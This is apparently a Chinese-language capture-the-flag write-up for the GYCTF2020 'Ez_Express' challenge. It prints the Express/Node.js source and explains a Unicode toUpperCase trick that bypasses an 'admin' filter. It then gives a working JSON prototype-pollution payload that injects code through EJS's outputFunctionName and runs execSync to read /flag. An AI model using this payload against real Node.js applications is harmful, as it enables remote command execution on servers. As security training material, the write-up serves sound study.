[GYCTF2020]Ez_Express

提示要用admin登录，注册个账号登录看到源码里有提示。

后端是用js写的，慢慢审计吧。

#app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')

var indexRouter = require('./routes/index');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

#index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

提示说要用admin登录，但源码里对admin进行了正则过滤，并且对用户名进行了toUpperCase()转大写。js中用toUpperCase()是会出现问题的。

在Character.toUpperCase()函数中，字符ı会转变为I，字符ſ会变为S。
在Character.toLowerCase()函数中，字符İ会转变为i，字符K会转变为k。

我们用上面的字符进行登录

登录成功后有个提交界面，提示flag在 /flag中，看到源码里的merge函数想到了原型链污染。
javascript原型链污染

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

看到/action里面用了clone方法进行了原型链污染，/info这里进行了渲染，outputFunctionName是未定义的，很明显的原型链污染
payload：

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

这里抓包把Content-Type设为application/json上面链接的文章里给出了原因。
再访问/info界面下载到flag。